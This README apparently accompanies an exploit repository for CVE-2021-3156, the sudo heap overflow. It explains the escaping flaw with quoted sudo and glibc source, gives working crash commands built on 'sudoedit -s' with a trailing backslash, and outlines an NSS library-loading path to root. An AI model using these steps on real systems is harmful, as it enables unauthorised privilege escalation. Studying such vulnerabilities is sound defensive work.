CVE-2021-3156

In this document we include all the knowledge necessary in order to understand the code in this repository and why it works. All the explaination is based on the report created by QUALYS. There more forms of exploitation are explained.

Requirements

The vulnerable versions of sudo are legacy versions from 1.8.2 to 1.8.31p2 and all stable version from 1.9.0 to 1.9.5p1, in their default configuration.

This repositiory is tested on Ubuntu 20.04 (sudo 1.8.31). In it we open a terminal with root privileges.

Analysis

If Sudo is executed to run a command in shell mode:

  • Through the -s option, which set sudo's MODE_SHELL flags.
  • Through the -i option, which sets sudo's MODE_SHELL and MODE_LOGIN_SHELL flags.

Then at the begining of sudo's main(), parse_args() rewrites argv, by concatenating all command-line arguments and by escaping all meta-characters with backslashes.

    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

Later, in sudoers_policy_main(), set_cmnd() concatenates the command-line arguments into a heap-based buffer user_args and unescapes the meta-characters, "for sudoers matching and logging purposes":

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

If a command-line argument ends with a single backlash character, then:

  • from[0] is the backlash character and from[1] the null terminator
  • from is incremented and points to the null terminator
  • The null terminator is copied to the user_args buffer and from incremented again and points out of bounds
  • The while loop reads and copies out-of-bounds characters to the user_args buffer.

In other words, set_cmnd() is vulnerable to a heap-based buffer overflow, because the out-of-bounds characters that are copied to the user_args buffer were not included in its size.

In theory, however, no command-line argument can end with a single backslash character: if MODE_SHELL or MODE_LOGIN_SHELL is set (a necessary condition for reaching the vulnerable code), then MODE_SHELL is set and parse_args() already escaped all meta-characters, including backslashes (i.e., it escaped every single backslash with a second backslash).

In practice, however, the vulnerable code in set_cmnd() and the escape code in parse_args() are surrounded by slightly different conditions:

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

versus:

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

ur question, then, is: can we set MODE_SHELL and either MODE_EDIT or MODE_CHECK (to reach the vulnerable code) but not the default MODE_RUN (to avoid the escape code)?

The answer, it seems, is no: if we set MODE_EDIT (-e option) or MODE_CHECK (-l option), then parse_args() removes MODE_SHELL from the valid_flags and exits with an error if we specify an invalid flag such as MODE_SHELL):

                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

But we found a loophole: if we execute Sudo as sudoedit instead of sudo, then parse_args() automatically sets MODE_EDIT but does not reset valid_flags, and the valid_flags include MODE_SHELL by default:

#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

Consequently, if we execute "sudoedit -s", then we set both MODE_EDIT and MODE_SHELL (but not MODE_RUN), we avoid the escape code, reach the vulnerable code, and overflow the heap-based buffer user_args through a command-line argument that ends with a single backslash character:

sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

From an attacker's point of view, this buffer overflow is ideal:

  • We control the size of the user_args buffer that we overflow (the size of our concatenated command-line arguments);
  • We independently control the size and contents of the overflow itself (our last command-line argument is conveniently followed by our first environment variables, which are not included in the size calculation);
  • We can even write null bytes to the buffer that we overflow (every command-line argument or environment variable that ends with a single backslash writes a null byte to user_args).

For example, on an amd64 Linux, the following command allocates a 24-byte user_args buffer (a 32-byte heap chunk) and overwrites the next chunk' size field with "A=a\0B=b\0" (0x00623d4200613d41), its fd field with "C=c\0D=d\0" (0x00643d4400633d43), and its bk field with "E=e\0F=f\0" (0x00663d4600653d45):

env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

Exploitation

Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

The function crashing is nss_load_library() from glibc (at line 344) because the pointer library was overwritten.

static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

The steps to exploit this crash are the following:

  • Overwrite ni->library with NULL. this will make the code enter the if clause and start the parsing and loading of the library.
  • Overwrite ni->name with "X/X". This originally hold "systemd".
  • Therefore the __strcpy lines will parse "libnss_X/X.so.2" instead of "libnss_systemd.so.2".
  • We therfore are loading the shared library controlled by us "libnss_X/X.so.2" as root. In it we can do whatever we wish as root.